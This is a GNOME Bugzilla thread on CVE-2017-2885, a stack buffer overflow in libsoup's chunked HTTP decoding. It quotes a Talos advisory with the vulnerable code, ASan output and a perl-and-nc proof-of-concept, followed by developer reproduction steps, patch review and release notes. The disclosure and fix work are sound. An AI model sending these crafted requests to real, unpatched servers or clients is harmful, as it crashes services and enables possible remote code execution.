GNOME Bugzilla – Bug 785774
(CVE-2017-2885) stack based buffer overflow with HTTP Chunked Encoding
Last modified: 2017-08-10 13:00:43 UTC
we received a report on security@.
2017-MM-DD (published patch date) TALOS-2017-0392 CVE-2017-2885 GNOME libsoup HTTP Chunked Encoding Remote Code Execution Vulnerability ### Summary An exploitable stack based buffer overflow vulnerability exists in the GNOME libsoup 2.58. A specially crafted HTTP request can cause a stack overflow resulting in remote code execution. An attacker can send a special HTTP request to the vulnerable server to trigger this vulnerability. ### Tested Versions GNOME libsoup 2.58 ### Product URLs [https://wiki.gnome.org/action/show/Projects/libsoup](https://wiki.gnome.org/action/show/Projects/libsoup) ### CVSSv3 Score 9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ### CWE CWE-121: Stack-based Buffer Overflow ### Details GNOME libsoup is a library implementing client and server side code for dealing with HTTP requests and responses. It is used to implement custom web servers or clients. Usually it is used embedded in other applications such as media streaming servers for basic web server functionality. It can also be used standalone and embedded in hardware devices. When processing an HTTP request which contains chunk encoded data, an improper bounds checking can lead to large memory copy operation which can overflow a statically sized buffer on the stack. Buffer that is being overflown is located in function `soup_body_input_stream_read_chunked` in file libsoup/soup-body-input-stream.c: static gssize soup_body_input_stream_read_chunked (SoupBodyInputStream *bistream, void *buffer, gsize count, gboolean blocking, GCancellable *cancellable, GError **error) { SoupFilterInputStream *fstream = SOUP_FILTER_INPUT_STREAM (bistream->priv->base_stream); char metabuf[128]; [1] gssize nread; gboolean got_line; The buffer is allocated on the stack at [1]. While further processing the body of a chunk-encoded HTTP request, function `soup_filter_input_stream_read_line` is called: case SOUP_BODY_INPUT_STREAM_STATE_CHUNK_END: nread = soup_filter_input_stream_read_line ( SOUP_FILTER_INPUT_STREAM (bistream->priv->base_stream), metabuf, sizeof (metabuf), blocking, &got_line, cancellable, error); In the above code, we can see `metabuf` and it’s length being passed to the `soup_filter_input_stream_read_line` function which is just a wrapper around `soup_filter_input_stream_read_until` being called with new line as delimiter: gssize soup_filter_input_stream_read_line (SoupFilterInputStream *fstream, void *buffer, gsize length, gboolean blocking, gboolean *got_line, GCancellable *cancellable, GError **error) { return soup_filter_input_stream_read_until (fstream, buffer, length, "\n", 1, blocking, TRUE, got_line, cancellable, error); } Function `soup_filter_input_stream_read_until` does the actual reading from the input stream into the buffer. /* Scan for the boundary */ end = buf + fstream->priv->buf->len; [2] if (!eof) end -= boundary_length; for (p = buf; p <= end; p++) { [3] if (*p == *(guint8*)boundary && !memcmp (p, boundary, boundary_length)) { [4] if (include_boundary) p += boundary_length; *got_boundary = TRUE; break; } } if (!*got_boundary && fstream->priv->buf->len < length && !eof) goto fill_buffer; /* Return everything up to 'p' (which is either just after the boundary if * include_boundary is TRUE, just before the boundary if include_boundary is * FALSE, @boundary_len - 1 bytes before the end of the buffer, or end-of- * file). */ return read_from_buf (fstream, buffer, p - buf); [5] In the above code, at [2] a pointer to the end of the stream data is calculated, at [3] it is used as an end condition in a for loop which is looking for a set delimiter (variable `boundary`, a newline character in this case) at [4]. Pointer `p` is being incremented in the loop until newline is found. Finally, at [5], function `read_from_buf` is called with input stream as source, buffer as destination and offset to newline character as length. No check to make sure the buffer is big enough is performed anywhere. In the function `read_from_buf` a `memcpy` call can thus lead to a buffer overflow: static gssize read_from_buf (SoupFilterInputStream *fstream, gpointer buffer, gsize count) { GByteArray *buf = fstream->priv->buf; if (buf->len < count) count = buf->len; memcpy (buffer, buf->data, count); To trigger this vulnerability, a simple HTTP request like the following is enough: GET / HTTP/1.0 Transfer-Encoding: chunked 1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA When parsing this request, the first chunk will be of size 1, and then the parser proceeds to scan the overly long series of `A` characters for a new line. A string longer than 128 characters will overflow the buffer. This can be abused in order to crash the server or achieve remote code execution in the context of the server. When parsing this request, the first chunk will be of size 1, and then the parser proceeds to scan the overly long series of `A` characters for a new line. A string longer than 128 characters will overflow the buffer. This can be abused in order to crash the server or achieve remote code execution in the context of the server. ### Crash Information Address Sanitizer output: Listening on http://0.0.0.0:12323/ Listening on http://[::]:12323/ Waiting for requests... ================================================================= ==119749==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffffffb280 at pc 0x0000004a3bfd bp 0x7fffffffb010 sp 0x7fffffffa7c0 WRITE of size 151 at 0x7fffffffb280 thread T0 #0 0x4a3bfc in __asan_memcpy ??:? #1 0x4a3bfc in ?? ??:0 #2 0x7ffff7962126 in read_from_buf /home/user/libsoup/libsoup/libsoup/soup-filter-input-stream.c:59 #3 0x7ffff7962126 in soup_filter_input_stream_read_until /home/user/libsoup/libsoup/libsoup/soup-filter-input-stream.c:278 #4 0x7ffff7962126 in ?? ??:0 #5 0x7ffff7961475 in soup_filter_input_stream_read_line /home/user/libsoup/libsoup/libsoup/soup-filter-input-stream.c:183 #6 0x7ffff7961475 in ?? ??:0 #7 0x7ffff791fd45 in soup_body_input_stream_read_chunked /home/user/libsoup/libsoup/libsoup/soup-body-input-stream.c:194 #8 0x7ffff791fd45 in read_internal /home/user/libsoup/libsoup/libsoup/soup-body-input-stream.c:249 #9 0x7ffff791fd45 in ?? ??:0 #10 0x7ffff79966b0 in io_read /home/user/libsoup/libsoup/libsoup/soup-message-io.c:762 #11 0x7ffff79966b0 in ?? ??:0 #12 0x7ffff79901b5 in io_run_until /home/user/libsoup/libsoup/libsoup/soup-message-io.c:982 #13 0x7ffff79901b5 in ?? ??:0 #14 0x7ffff7993ee3 in io_run /home/user/libsoup/libsoup/libsoup/soup-message-io.c:1053 #15 0x7ffff7993ee3 in ?? ??:0 #16 0x7ffff7999939 in soup_message_read_request /home/user/libsoup/libsoup/libsoup/soup-message-server-io.c:304 #17 0x7ffff7999939 in ?? ??:0 #18 0x7ffff71a00a6 in g_cclosure_marshal_VOID__OBJECTv ??:? #19 0x7ffff71a00a6 in ?? ??:0 #20 0x7ffff719d1d3 in g_closure_invoke ??:? #21 0x7ffff719d1d3 in ?? ??:0 #22 0x7ffff71b79a5 in g_signal_emit_valist ??:? #23 0x7ffff71b79a5 in ?? ??:0 #24 0x7ffff71b808e in g_signal_emit ??:? #25 0x7ffff71b808e in ?? ??:0 #26 0x7ffff79e894a in listen_watch /home/user/libsoup/libsoup/libsoup/soup-socket.c:1237 #27 0x7ffff79e894a in ?? ??:0 #28 0x7ffff6ec6049 in g_main_context_dispatch ??:? #29 0x7ffff6ec6049 in ?? ??:0 #30 0x7ffff6ec63ef in g_main_context_dispatch ??:? #31 0x7ffff6ec63ef in ?? ??:0 #32 0x7ffff6ec6711 in g_main_loop_run ??:? #33 0x7ffff6ec6711 in ?? ??:0 #34 0x4eb8cc in main /home/user/libsoup/libsoup/examples/simple-httpd.c:360 #35 0x4eb8cc in ?? ??:0 #36 0x7ffff5f8a82f in __libc_start_main /build/glibc-bfm8X4/glibc-2.23/csu/../csu/libc-start.c:291 #37 0x7ffff5f8a82f in ?? ??:0 #38 0x419dc8 in _start ??:? #39 0x419dc8 in ?? ??:0 Address 0x7fffffffb280 is located in stack of thread T0 at offset 160 in frame #0 0x7ffff791f8af in read_internal /home/user/libsoup/libsoup/libsoup/soup-body-input-stream.c:237 #1 0x7ffff791f8af in ?? ??:0 This frame has 2 object(s): [32, 160) 'metabuf.i' [192, 196) 'got_line.i' <== Memory access at offset 160 partially underflows this variable HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/home/user/libsoup/libsoup/examples/.libs/simple-httpd+0x4a3bfc) Shadow bytes around the buggy address: 0x10007fff7600: 00 00 00 00 f1 f1 f1 f1 00 f3 f3 f3 00 00 00 00 0x10007fff7610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007fff7620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007fff7630: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1 0x10007fff7640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10007fff7650:[f2]f2 f2 f2 04 f3 f3 f3 00 00 00 00 00 00 00 00 0x10007fff7660: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007fff7670: 00 00 00 00 ca ca ca ca 00 00 00 00 00 00 00 00 0x10007fff7680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007fff7690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10007fff76a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==119749==ABORTING ### Exploit Proof-of-Concept perl -e 'print "GET / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 . "\r\n \r\n"' | nc <target> <port> ### Credit Discovered by Aleksandar Nikolic of Cisco Talos. http://talosintelligence.com/vulnerability-reports/ ### Timeline 2017-08-02 - Vendor Disclosure YYYY-MM-DD - Public Release⏎
(In reply to Tobias Mueller from comment #1) > ### Exploit Proof-of-Concept > > perl -e 'print "GET / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" > . "A"x150 . "\r\n \r\n"' | nc <target> <port> eg, using examples/simple-httpd from the libsoup source tree: in terminal 1: ./examples/simple-httpd -p 12345 in terminal 2: perl -e 'print "GET / HTTP/1.0\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 . "\r\n \r\n"' | nc 127.0.0.1 12345 (and simple-httpd will segfault) The bug also exists on the client side (ie, a malicious server/proxy can crash a client): in terminal 1: perl -e 'print "HTTP/1.0 200 OK\r\nTransfer-Encoding: chunked\r\n\r\n1\r\n" . "A"x150 . "\r\n \r\n"' | nc -l 127.0.0.1 12345 in terminal 2: ./examples/get http://127.0.0.1:12345/ (get segfaults)
Created attachment 356967 [details] [review] Fix chunked decoding buffer overrun (CVE-2017-2885)
Fix isn't completely trivial and I noticed another bug in the code while I was there. (If we get to EOF without seeing the boundary, we'll memcmp off the end of the buffer.) So some review of the patch would be nice. (Gustavo, you worked with this code before for the multipart/x-mixed-replace stuff [but are not responsible for the bug, that was me :)], and Carlos, you're the only other person who's very familiar with the libsoup I/O stuff...) Also, the libsoup tests pass with this change, but can one of you try running the WebKitGTK tests against this patch?
Bug exists in all releases since libsoup 2.40 (GNOME 3.6 / September 2012)
CCing Johannes who may be able to help testing the patch.
CCing Alex. Alex: Can you have a look at the Flatpak Runtimes (thinking of the stable ones like 3.20, 3.22, 3.24) and have them updated once a patch has landed? I assume you're the one being able to have a rebuild triggered and the runtimes updated.
(In reply to Dan Winship from comment #4) > Fix isn't completely trivial and I noticed another bug in the code while I > was there. (If we get to EOF without seeing the boundary, we'll memcmp off > the end of the buffer.) So some review of the patch would be nice. (Gustavo, > you worked with this code before for the multipart/x-mixed-replace stuff > [but are not responsible for the bug, that was me :)], and Carlos, you're > the only other person who's very familiar with the libsoup I/O stuff...) > > Also, the libsoup tests pass with this change, but can one of you try > running the WebKitGTK tests against this patch? No regressions in WebKit layout tests either.
I was informed that unittest (rather than layout tests) also don't break and that these tests probably include chunked encoded stuff. So we're good to go. I've just sent an email containing the patch to distros@openwall.com with a suggested embargo date of 2017-08-10 12:00 UTC. Let's apply the patch then.
Fixed in master (released as libsoup-2.59.90.1), gnome-3-24 (2.58.2), and gnome-3-22 (2.56.1). Note in particular that the 2.59.90 tarball released a few days ago does not have the fix.